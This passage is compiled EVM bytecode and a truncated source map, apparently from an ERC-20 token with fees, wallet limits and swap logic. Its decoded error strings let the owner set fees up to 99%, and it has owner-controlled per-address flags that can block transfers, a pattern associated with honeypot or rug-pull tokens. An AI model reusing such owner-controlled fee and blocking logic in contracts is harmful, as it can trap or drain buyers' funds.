009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613bc890615702565b60006040518083038185875af1925050503d8060008114613c05576040519150601f19603f3d011682016040523d82523d6000602084013e613c0a565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c569190614542565b602060405180830381865afa158015613c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c979190614ee6565b90506000613cb06011548361272390919063ffffffff16565b9050613cbb8461406b565b613ccd5760008114613ccc57600080fd5b5b600192505050919050565b60008083118290613d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d16919061415b565b60405180910390fd5b5060008385613d2e9190614876565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613dbb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ddf565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134f4565b905092915050565b6000600267ffffffffffffffff811115613e4b57613e4a615717565b5b604051908082528060200260200182016040528015613e795781602001602082028036833780820191505090505b5090503081600081518110613e9157613e90614747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f5a919061575b565b81600181518110613f6e57613f6d614747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613fd3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612789565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401614035959493929190615881565b600060405180830381600087803b15801561404f57600080fd5b505af1158015614063573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140fc5780820151818401526020810190506140e1565b8381111561410b576000848401525b50505050565b6000601f19601f8301169050919050565b600061412d826140c2565b61413781856140cd565b93506141478185602086016140de565b61415081614111565b840191505092915050565b600060208201905081810360008301526141758184614122565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006141b282614187565b9050919050565b6141c2816141a7565b81146141cd57600080fd5b50565b6000813590506141df816141b9565b92915050565b6000602082840312156141fb576141fa61417d565b5b6000614209848285016141d0565b91505092915050565b60008115159050919050565b61422781614212565b82525050565b6000602082019050614242600083018461421e565b92915050565b6000819050919050565b61425b81614248565b811461426657600080fd5b50565b60008135905061427881614252565b92915050565b600080604083850312156142955761429461417d565b5b60006142a3858286016141d0565b92505060206142b485828601614269565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126142e3576142e26142be565b5b8235905067ffffffffffffffff811115614300576142ff6142c3565b5b60208301915083602082028301111561431c5761431b6142c8565b5b9250929050565b61432c81614212565b811461433757600080fd5b50565b60008135905061434981614323565b92915050565b6000806000604084860312156143685761436761417d565b5b600084013567ffffffffffffffff81111561438657614385614182565b5b614392868287016142cd565b935093505060206143a58682870161433a565b9150509250925092565b6000819050919050565b60006143d46143cf6143ca84614187565b6143af565b614187565b9050919050565b60006143e6826143b9565b9050919050565b60006143f8826143db565b9050919050565b614408816143ed565b82525050565b600060208201905061442360008301846143ff565b92915050565b61443281614248565b82525050565b600060208201905061444d6000830184614429565b92915050565b6000602082840312156144695761446861417d565b5b600061447784828501614269565b91505092915050565b6000806000606084860312156144995761449861417d565b5b60006144a7868287016141d0565b93505060206144b8868287016141d0565b92505060406144c986828701614269565b9150509250925092565b6000806000604084860312156144ec576144eb61417d565b5b600084013567ffffffffffffffff81111561450a57614509614182565b5b614516868287016142cd565b9350935050602061452986828701614269565b9150509250925092565b61453c816141a7565b82525050565b60006020820190506145576000830184614533565b92915050565b600060ff82169050919050565b6145738161455d565b82525050565b600060208201905061458e600083018461456a565b92915050565b6000806000606084860312156145ad576145ac61417d565b5b60006145bb86828701614269565b93505060206145cc86828701614269565b92505060406145dd8682870161433a565b9150509250925092565b600080604083850312156145fe576145fd61417d565b5b600061460c858286016141d0565b925050602061461d8582860161433a565b9150509250929050565b6000806000606084860312156146405761463f61417d565b5b600061464e86828701614269565b935050602061465f86828701614269565b925050604061467086828701614269565b9150509250925092565b6000602082840312156146905761468f61417d565b5b600061469e8482850161433a565b91505092915050565b600080604083850312156146be576146bd61417d565b5b60006146cc858286016141d0565b92505060206146dd858286016141d0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061472e57607f821691505b602082108103614741576147406146e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147b082614248565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036147e2576147e1614776565b5b600182019050919050565b60006147f882614248565b915061480383614248565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561483c5761483b614776565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061488182614248565b915061488c83614248565b92508261489c5761489b614847565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614903602f836140cd565b915061490e826148a7565b604082019050919050565b60006020820190508181036000830152614932816148f6565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006149956033836140cd565b91506149a082614939565b604082019050919050565b600060208201905081810360008301526149c481614988565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614a276030836140cd565b9150614a32826149cb565b604082019050919050565b60006020820190508181036000830152614a5681614a1a565b9050919050565b6000614a6882614248565b9150614a7383614248565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614aa857614aa7614776565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614ae9601d836140cd565b9150614af482614ab3565b602082019050919050565b60006020820190508181036000830152614b1881614adc565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614b55601d836140cd565b9150614b6082614b1f565b602082019050919050565b60006020820190508181036000830152614b8481614b48565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614be76024836140cd565b9150614bf282614b8b565b604082019050919050565b60006020820190508181036000830152614c1681614bda565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c796035836140cd565b9150614c8482614c1d565b604082019050919050565b60006020820190508181036000830152614ca881614c6c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614d0b6032836140cd565b9150614d1682614caf565b604082019050919050565b60006020820190508181036000830152614d3a81614cfe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d9d6026836140cd565b9150614da882614d41565b604082019050919050565b60006020820190508181036000830152614dcc81614d90565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614e096020836140cd565b9150614e1482614dd3565b602082019050919050565b60006020820190508181036000830152614e3881614dfc565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614e9b602a836140cd565b9150614ea682614e3f565b604082019050919050565b60006020820190508181036000830152614eca81614e8e565b9050919050565b600081519050614ee081614252565b92915050565b600060208284031215614efc57614efb61417d565b5b6000614f0a84828501614ed1565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f49601b836140cd565b9150614f5482614f13565b602082019050919050565b60006020820190508181036000830152614f7881614f3c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614fdb6024836140cd565b9150614fe682614f7f565b604082019050919050565b6000602082019050818103600083015261500a81614fce565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061506d6022836140cd565b915061507882615011565b604082019050919050565b6000602082019050818103600083015261509c81615060565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006150d96020836140cd565b91506150e4826150a3565b602082019050919050565b60006020820190508181036000830152615108816150cc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061516b6025836140cd565b91506151768261510f565b604082019050919050565b6000602082019050818103600083015261519a8161515e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151fd6023836140cd565b9150615208826151a1565b604082019050919050565b6000602082019050818103600083015261522c816151f0565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006152696016836140cd565b915061527482615233565b602082019050919050565b600060208201905081810360008301526152988161525c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006153216049836140cd565b915061532c8261529f565b606082019050919050565b6000602082019050818103600083015261535081615314565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006153b36035836140cd565b91506153be82615357565b604082019050919050565b600060208201905081810360008301526153e2816153a6565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061541f6013836140cd565b915061542a826153e9565b602082019050919050565b6000602082019050818103600083015261544e81615412565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006154b16036836140cd565b91506154bc82615455565b604082019050919050565b600060208201905081810360008301526154e0816154a4565b9050919050565b60006154f282614248565b91506154fd83614248565b9250828210156155105761550f614776565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006155776021836140cd565b91506155828261551b565b604082019050919050565b600060208201905081810360008301526155a68161556a565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006156096022836140cd565b9150615614826155ad565b604082019050919050565b60006020820190508181036000830152615638816155fc565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061569b6021836140cd565b91506156a68261563f565b604082019050919050565b600060208201905081810360008301526156ca8161568e565b9050919050565b600081905092915050565b50565b60006156ec6000836156d1565b91506156f7826156dc565b600082019050919050565b600061570d826156df565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050615755816141b9565b92915050565b6000602082840312156157715761577061417d565b5b600061577f84828501615746565b91505092915050565b6000819050919050565b60006157ad6157a86157a384615788565b6143af565b614248565b9050919050565b6157bd81615792565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6157f8816141a7565b82525050565b600061580a83836157ef565b60208301905092915050565b6000602082019050919050565b600061582e826157c3565b61583881856157ce565b9350615843836157df565b8060005b8381101561587457815161585b88826157fe565b975061586683615816565b925050600181019050615847565b5085935050505092915050565b600060a0820190506158966000830188614429565b6158a360208301876157b4565b81810360408301526158b58186615823565b90506158c46060830185614533565b6158d16080830184614429565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f372669a4116367437394f1cb26c52efec1793685dabb70cf4db02ca0d74a95b64736f6c634300080d0033

Deployed Bytecode Sourcemap

324:17412:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4120:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17095:177:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6286:169:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2050:64:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15399:247;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;392:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5239:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8256:157:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;766:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;867:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1605:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1565;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7245:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6937:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14116:223:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;450:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;949:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;910:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5082:92:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1054:32:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7701:218:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2200:93:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;510:28:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8575:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1132:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1169:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5410:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1467:148:3;;;;;;;;;;;;;:::i;:::-;;17280:447:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5888:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8421:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;723:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1305;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6868:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5116:155;;;;;;;;;;;;;:::i;:::-;;674:79:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;692:24:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1451:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5730:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4339:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1379:24:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12748:107:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;823:35:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1645:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1527:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8105:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8422:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1010:29:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5750:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8712:208:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2272:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7897:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1093:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7707:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6482:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7486:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4905:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1863:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;608:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6085:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1271:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5988:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;650:33:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5336:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1342:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1896:244:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1489:31:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;577:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15658:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4120:100:1;4174:13;4207:5;4200:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4120:100;:::o;17095:177:4:-;17169:4;17192:61;:72;17254:9;17192:72;;;;;;;;;;;;;;;;;;;;;;;;;17185:79;;17095:177;;;:::o;6286:169:1:-;6369:4;6386:39;6395:12;:10;:12::i;:::-;6409:7;6418:6;6386:8;:39::i;:::-;6443:4;6436:11;;6286:169;;;;:::o;2050:64:4:-;;;;;;;;;;;;;;;;;;;;;;:::o;15399:247::-;878:13:3;:11;:13::i;:::-;15491:9:4::1;15486:153;15510:8;;:15;;15506:1;:19;15486:153;;;15624:3;15547:61;:74;15609:8;;15618:1;15609:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15547:74;;;;;;;;;;;;;;;;:80;;;;;;;;;;;;;;;;;;15527:3;;;;;:::i;:::-;;;;15486:153;;;;15399:247:::0;;;:::o;392:51::-;;;:::o;5239:108:1:-;5300:7;5327:12;;5320:19;;5239:108;:::o;8256:157:4:-;878:13:3;:11;:13::i;:::-;8363:9:4::1;;;;;;;;;;;8335:38;;8352:9;8335:38;;;;;;;;;;;;8396:9;8384;;:21;;;;;;;;;;;;;;;;;;8256:157:::0;:::o;766:50::-;;;;:::o;867:35::-;;;;:::o;1605:33::-;;;;:::o;1565:::-;;;;:::o;7245:233::-;878:13:3;:11;:13::i;:::-;7364:3:4::1;7358:4;7354:1;7338:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7337:30;;;;:::i;:::-;7327:6;:40;;7319:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;7463:6;7453;:17;;;;:::i;:::-;7430:20;:40;;;;7245:233:::0;:::o;6937:355:1:-;7077:4;7094:36;7104:6;7112:9;7123:6;7094:9;:36::i;:::-;7141:121;7150:6;7158:12;:10;:12::i;:::-;7172:89;7210:6;7172:89;;;;;;;;;;;;;;;;;:11;:19;7184:6;7172:19;;;;;;;;;;;;;;;:33;7192:12;:10;:12::i;:::-;7172:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7141:8;:121::i;:::-;7280:4;7273:11;;6937:355;;;;;:::o;14116:223:4:-;878:13:3;:11;:13::i;:::-;14213:9:4::1;14208:124;14232:10;;:17;;14228:1;:21;14208:124;;;14300:10;;14311:1;14300:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14276:44;;14285:13;;;;;;;;;;;14276:44;;;14315:4;14276:44;;;;;;:::i;:::-;;;;;;;;14251:3;;;;;:::i;:::-;;;;14208:124;;;;14116:223:::0;;;:::o;450:53::-;496:6;450:53;:::o;949:54::-;;;;:::o;910:32::-;;;;;;;;;;;;;:::o;5082:92:1:-;5140:5;5165:1;5158:8;;5082:92;:::o;1054:32:4:-;;;;;;;;;;;;;:::o;7701:218:1:-;7789:4;7806:83;7815:12;:10;:12::i;:::-;7829:7;7838:50;7877:10;7838:11;:25;7850:12;:10;:12::i;:::-;7838:25;;;;;;;;;;;;;;;:34;7864:7;7838:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7806:8;:83::i;:::-;7907:4;7900:11;;7701:218;;;;:::o;2200:93:3:-;878:13;:11;:13::i;:::-;2278:7:::1;2270:5;;:15;;;;;;;;;;;;;;;;;;2200:93:::0;:::o;510:28:4:-;;;;;;;;;;;;;:::o;8575:125::-;8640:4;8664:19;:28;8684:7;8664:28;;;;;;;;;;;;;;;;;;;;;;;;;8657:35;;8575:125;;;:::o;1416:28::-;;;;:::o;1132:30::-;;;;;;;;;;;;;:::o;1169:93::-;;;;;;;;;;;;;;;;;;;;;;:::o;5410:127:1:-;5484:7;5511:9;:18;5521:7;5511:18;;;;;;;;;;;;;;;;5504:25;;5410:127;;;:::o;1467:148:3:-;878:13;:11;:13::i;:::-;1574:1:::1;1537:40;;1558:6;::::0;::::1;;;;;;;;1537:40;;;;;;;;;;;;1605:1;1588:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1467:148::o:0;17280:447:4:-;878:13:3;:11;:13::i;:::-;17434:3:4::1;17411:19;:26;;17403:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17524:4;17512:8;:16;;:33;;;;;17544:1;17532:8;:13;;17512:33;17504:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17627:19;17609:15;:37;;;;17676:8;17657:16;:27;;;;17711:8;17695:13;;:24;;;;;;;;;;;;;;;;;;17280:447:::0;;;:::o;5888:127::-;5938:4;878:13:3;:11;:13::i;:::-;5970:5:4::1;5954:13;;:21;;;;;;;;;;;;;;;;;;6003:4;5996:11;;5888:127:::0;:::o;8421:144::-;878:13:3;:11;:13::i;:::-;8553:4:4::1;8511:31;:39;8543:6;8511:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8421:144:::0;;:::o;723:30::-;;;;;;;;;;;;;:::o;1305:::-;;;;:::o;6868:369::-;878:13:3;:11;:13::i;:::-;7002::4::1;6984:15;:31;;;;7044:13;7026:15;:31;;;;7080:7;7068:9;:19;;;;7149:9;;7131:15;;7113;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;7098:12;:60;;;;7193:2;7177:12;;:18;;7169:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6868:369:::0;;;:::o;5116:155::-;878:13:3;:11;:13::i;:::-;5187:4:4::1;5171:13;;:20;;;;;;;;;;;;;;;;;;5216:4;5202:11;;:18;;;;;;;;;;;;;;;;;;5248:15;5231:14;:32;;;;5116:155::o:0;674:79:3:-;712:7;739:6;;;;;;;;;;;732:13;;674:79;:::o;692:24:4:-;;;;;;;;;;;;;:::o;1451:31::-;;;;:::o;5730:101::-;878:13:3;:11;:13::i;:::-;5816:7:4::1;5802:11;;:21;;;;;;;;;;;;;;;;;;5730:101:::0;:::o;4339:104:1:-;4395:13;4428:7;4421:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4339:104;:::o;1379:24:4:-;;;;:::o;12748:107:1:-;878:13:3;:11;:13::i;:::-;12825:22:1::1;12831:7;12840:6;12825:5;:22::i;:::-;12748:107:::0;;:::o;823:35:4:-;;;;:::o;1645:27::-;;;;:::o;1527:25::-;;;;:::o;8105:143::-;878:13:3;:11;:13::i;:::-;8199:41:4::1;8228:4;8234:5;8199:28;:41::i;:::-;8105:143:::0;;:::o;8422:269:1:-;8515:4;8532:129;8541:12;:10;:12::i;:::-;8555:7;8564:96;8603:15;8564:96;;;;;;;;;;;;;;;;;:11;:25;8576:12;:10;:12::i;:::-;8564:25;;;;;;;;;;;;;;;:34;8590:7;8564:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8532:8;:129::i;:::-;8679:4;8672:11;;8422:269;;;;:::o;1010:29:4:-;;;;:::o;5750:175:1:-;5836:4;5853:42;5863:12;:10;:12::i;:::-;5877:9;5888:6;5853:9;:42::i;:::-;5913:4;5906:11;;5750:175;;;;:::o;8712:208:4:-;878:13:3;:11;:13::i;:::-;8849:15:4::1;;;;;;;;;;;8806:59;;8829:18;8806:59;;;;;;;;;;;;8894:18;8876:15;;:36;;;;;;;;;;;;;;;;;;8712:208:::0;:::o;2272:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;7897:200::-;878:13:3;:11;:13::i;:::-;8026:5:4::1;7992:25;:31;8018:4;7992:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;8083:5;8049:40;;8077:4;8049:40;;;;;;;;;;;;7897:200:::0;;:::o;1093:32::-;;;;;;;;;;;;;:::o;7707:182::-;878:13:3;:11;:13::i;:::-;7823:8:4::1;7792:19;:28;7812:7;7792:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7863:7;7847:34;;;7872:8;7847:34;;;;;;:::i;:::-;;;;;;;;7707:182:::0;;:::o;6482:378::-;878:13:3;:11;:13::i;:::-;6618::4::1;6599:16;:32;;;;6661:13;6642:16;:32;;;;6698:7;6685:10;:20;;;;6770:10;;6751:16;;6732;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;6716:13;:64;;;;6816:2;6799:13;;:19;;6791:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6482:378:::0;;;:::o;7486:213::-;878:13:3;:11;:13::i;:::-;7608:3:4::1;7602:4;7598:1;7582:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;758